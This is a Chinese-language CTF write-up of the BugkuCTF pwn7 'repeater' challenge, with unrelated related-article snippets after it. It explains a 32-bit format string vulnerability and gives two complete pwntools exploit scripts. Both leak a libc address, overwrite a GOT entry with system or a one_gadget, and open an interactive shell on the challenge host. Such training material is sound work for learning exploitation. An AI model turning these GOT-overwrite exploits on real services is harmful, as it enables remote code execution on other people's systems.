BugkuCTF-PWN题pwn7-repeater详细讲解多解法

知识点

在这里插入图片描述

解题流程

方法一

查看文件类型:
在这里插入图片描述
32位文件

查看保护机制
在这里插入图片描述
只开启了NX

32位IDA打开
伪码:
在这里插入图片描述
0x70=112
0x64=100
发现该题目为典型的格式字符串漏洞。

解题思路

此题的大概思路如下:
1、找到libc_start_main在栈内的偏移,使用%p暴露该地址
2、利用LibcSearcher猜测使用的libc,算出libc基址
3、计算出此libc的system地址
4、把prinf的got表改为system地址
5、执行system(’/bin/sh’)

具体调试

执行gdb pwn7调试程序
使用b printf在printf处下断点
输入r执行程序
程序提示用户输入
输入123456回车
此时程序运行到printf语句停止

pwndbg调试
在这里插入图片描述
输入stack 60命令查看栈情况
可以看到,在0xffffcf18处为之前输入的123456
在0xffffcf8c处为libc_start_main+247
使用fmtarg 0xffffcf8c算出偏移,此处知道了为%35$p
使用fmtarg属于懒人做法,需安装在gdb里。
在这里插入图片描述

具体方法

exp:

#coding=utf-8
from pwn import *
import sys
#不清楚libc可以用这个
from LibcSearcher import *
context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']#本机环境
if sys.argv[1] == '0':p = process('./pwn7')#此处使用ldd pwn7查看本机使用啥libclibc = ELF("/lib/i386-linux-gnu/libc.so.6")
#远程环境
elif sys.argv[1] == '1':p = remote("114.67.246.176",19888)#直接采用本地的libc,尝试失败,使用了LibcSearcher#libc = ELF("/lib/i386-linux-gnu/libc.so.6")elf=ELF('./pwn7')
printf_GOT=elf.got['printf']
log.success('printf_GOT'+hex(printf_GOT))#输入%35$p,暴露libc_start_main的地址
p.sendafter('repeater','%35$p')
p.recvuntil('0x',drop=True)
libc_start_main=int(p.recv(8),16)-247#搜索可能的libc
libc=LibcSearcher("__libc_start_main", libc_start_main)
libc_base=libc_start_main-libc.dump('__libc_start_main')   #libc基址
log.success('libc_base'+hex(libc_base))
printf=libc.dump('printf')+libc_base   #此libc的printf地址
log.success('printf'+hex(printf))
system=libc.dump('system')+libc_base   #此libc的system地址
log.success('system'+hex(system))#格式字符串漏洞套路 #由于64位下用户可见的内存地址高位都带有\x00(64位地址共16个16进制数),分段
ch0=system&0xffff
ch1=(((system>>16)&0xffff)-ch0)&0xffff
payload="%"+str(ch0)+"c%16$hn"
payload+="%"+str(ch1)+"c%17$hn"
payload=payload.ljust(40,'a')#改写printf的got表,把prinf的got表改为system地址
payload+=p32(printf_GOT)
payload+=p32(printf_GOT+2)
p.send(payload)
p.recvline()
#这时已经改写好了,直接system('/bin/sh')
p.send('/bin/sh\x00')
p.interactive()

方法二(需要加载libc版本)

由于方法二我不知道大佬加载的libc版本是哪一个,所以没有成功实现

gdb里调试到printf(buf)
在这里插入图片描述
如图 :
我通过read输入的是flag 容易看出偏移是 0x18/4 = 6
(64位里偏移是6 + offset_rsp/8 32位里偏移则为offset_esp/4 )
或者直接经典payload测 :
AAAA%p.%p.%p.%p.%p.%p.%p.%p.
然后数数
测出偏移后
第一步 : 先通过printf(buf) 泄露libc
payload = p32(read_got) + b"%6$s"

我这个是泄露的read的地址
泄露地址后通过 https://libc.blukat.me/下载相应版本的libc.so(当然也可以用LibcSearcher然后改写got表为system的,再输入bin/sh字符串,这里为one_gadget的打法)

第二步 : 改写read的got表为one_gadget的地址

完整exp如下 :

from pwn import*
from LibcSearcher import LibcSearcher
context.log_level = "debug"
elf = ELF("./pwn")
libc = ELF("./libc.so")
io = remote("114.67.246.176","19888")
read_got = elf.got["read"]
pd = b"%6$s" + p32(read_got)
io.recvuntil("Do you know repeater?\n")
io.send(pd)
read_addr = u32(io.recv(8)[-4:])   #取后四位字节
print(hex(read_addr))
libc_base = read_addr - libc.sym["read"]   #libc.sym['read']会返回read()在libc里面的偏移
og = [0x3a822,0x3a829,0x5f075,0x5f076]
one_gadget = libc_base + og[3]
payload = fmtstr_payload(6,{read_got : one_gadget},write_size = "byte",)
io.send(payload)
io.interactive()

运行脚本
得到flag{ec228e717282513a}

io.recv(8)[-4:]:取后四位字节
在这里插入图片描述

可能有小伙伴对于最后的fmtstr_payload有点疑惑:
fmtstr_payload 是pwntools里面的一个小工具 ,简化格式化字符串payload的构造
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
fmstr_payload 的官方文档 : https://docs.pwntools.com/en/stable/fmtstr.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/525171.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HR怒甩程序员男友:不加班没上进没前途,网友:惹不起

戳蓝字“CSDN云计算”关注我们哦!对于程序员来说,加班就是家常便饭,但也有特例,最近就有为女 HR 在某论坛吐槽:最近和一个程序员谈恋爱,只持续三天就把程序员甩了,原因是男朋友每天六点下班&…

BugkuCTF-Crypto题rsa

解题流程 n,e已经给出,可以看出e特别大,在e特别大的情况下,可以使用wiener attack的方法进行破解,正好工具RsaCtfTool集成了wiener attack的方法,所以可以直接使用RsaCtfTool计算私钥。 典型的rsa… 密钥的…

Visual Studio 2008 完全卸载 - C语言零基础入门教程

目录 一.VS2008 卸载方式一 (不推荐)二.VS2008 卸载方式一 ( 推荐)三.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 Visual Studio 已经更新到 2019,可能部分公司为了保证代码的兼容性,还是在使用比较老的 2005 或者 2008…

相亲网站比自己优秀的男人太多?单身程序员惊现神操作!

戳蓝字“CSDN云计算”关注我们哦!话说,今年还有不到一个月就要过去了,作为一个单身狗的小编,看着大街上一个个成双成对的情侣,不由感到悲从心来,只能妄图从新闻中寻找一丝安慰。结果你别说,我最…

BugkuCTF-Crypto题给你私钥吧

方法一 用 RsaCtfTool这个脚本工具。。。然后python RsaCtfTool.py --publickey pubkey.pem --uncipherfile flag.enc直接用公钥进行攻击解密 方法二 思路:高位攻击还原pq,然后生成密钥进行解密 分三步: 3.第三步通过私钥文件OAEP解密…

Visual Studio 2013 / 2015 完全卸载 - C语言零基础入门教程

目录 一.查找 vs_community.exe 文件二.以管理身份打开 cmd 窗口三.使用微软官方的卸载工具来清理残余数据 1.下载清理工具2.以管理员身份执行 setup.forceduninstall.exe;3.按 Y 进行卸载; 四猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >>…

漫画:如何实现大整数相加?

戳蓝字“CSDN云计算”关注我们哦!————— 第二天 —————————————————在程序中列出的 “竖式” 究竟是什么样子呢?我们以 426709752318 95481253129 为例,来看看大整数相加的详细步骤:第一步,把整…

BugkuCTF-Crypto题杰斐逊

打开下载文件 这是一类加密方式,叫做轮转密码或者叫比尔密码,解密的方式就是先通过密钥调整字符串的行号,然后通过密文调整一行字符串的顺序,例如,密文的第一个字母是H, 第一行字符串是 则,将…

设置 Visual Studio 字体/背景/行号 - C语言零基础入门教程

目录 一.设置 Visual Studio 颜色主题二.显示 Visual Studio 行号三.设置 Visual Studio 字体大小/风格四.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 Visual Studio 默认有三个主题,在我们刚开始安装 Visual Studio 的时候就能看到…

为什么你写了好几页的简历,还是被拒了

戳蓝字“CSDN云计算”关注我们哦!前几日,有一个读者把他的简历发给我,叫我帮他看一下。我打开Word文档一看,该说的内容确实也都说了,但就是没说到点子上。就好比明明知道痒在哪里,然而却挠不着。真够急人的…

BugkuCTF-Crypto题小山丘的秘密

本题考查希尔密码 解题流程 题目信息: 1、根据提示知道是希尔(hill)密码 解密网站:www.atoolbox.net/Tool.php?Id914&accsdn flag.txt 里给出A1,一般的希尔密码是A0,B1, C2 …所以字母表需要修改&a…

BugkuCTF-Crypto题一段Base64

解此题需要下载Converter工具 先Base64解码 再Unescape一下 再16进制ASCII解码一下 再Unescape一下 复制括号里面的参数,再10进制ASCII解码一下 再Html解码一下 再Html解码一下 flag{ctf_tfc201717qwe}

程序员加班很严重吗?看看国外程序员怎么怼老板!

戳蓝字“CSDN云计算”关注我们哦!来自:https://blog.csdn.net/weixin_43338842/article/details/84339727作者:前端一鸣 1、IT已成为最疯狂的加班行业,没有之一夜幕降临,当IT大楼里依然灯火通明时&#xff…

C语言数组下标越界

数组越界的严重性 在 C 语言里,数组需为静态的。数组的大小需要在程序运行前就确定下来。 C语言数组越界的严重性在于对数组元素访问及修改的内容存在不确定性。 这类没有预知性的修改会导致无法确定的错误,发生缓冲区泄露漏洞。 这也就是数组越界的严重…

重磅!英特尔终于挤出10nm芯片 六大技术战略,震动芯片届

戳蓝字“CSDN云计算”关注我们哦!最近几日,对英特尔来说可谓大事连连,在北京,正举办20岁生日的英特尔中国研究院的隔壁楼房着了大火,而远在大洋彼岸,英特尔在加州Los Altos举办的“架构日”上连发大招!北京…

shellcraft新姿势

pwnable_orw exp 脚本 这道题的难度在于只能调用 open read 和 write ,学到了 shellcraft 新的使用方式 from pwn import * io remote(‘node3.buuoj.cn’,25539) context.binary ‘orw’ elf ELF(‘orw’) shellcode shellcraft.open(’/flag’) shellcode sh…

C语言 Hello World - C语言零基础入门教程

目录 一.Hello World 源码 1.#include – 预处理器指令2.main 函数 – 入口函数3.printf 函数4.return 0 二.Visual Studio 运行生成项目 1.使用快捷键 Ctrl F52.点击 本地 Windows 调试器 三.猜你喜欢 零基础 Python 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 一…

你需要掌握的事件分发高阶知识

戳蓝字“CSDN云计算”关注我们哦!系列前作1. Android输入系统的事件传递流程和IMS的诞生2. 只了解View的事件分发是不够的,来看下输入系统对事件的处理1.InputReader的加工类型在只了解View的事件分发是不够的,来看下输入系统对事件的处理这篇…

C语言数据类型 / 变量类型 - C语言零基础入门教程

目录 一.C 语言数据类型分类二.C 语言整形 1.无符号整形(16 位系统)2.有符号整形(16 位系统)3.int 和 long 区别4.超出取值范围的整形 三.C 语言浮点型 float/double 1.float(单精度)2.double(…

【拨云见日】全面云化时代,如何选择适合自己的“云”?

戳蓝字“CSDN云计算”关注我们哦!随着云计算技术的不断成熟,大数据、人工智能、区块链等技术的推陈出新,政府和企业级客户开始逐渐接受云计算。云计算不仅可以帮助政府客户解决运维人员能力不足、人手不足、安全保障等问题,也可以…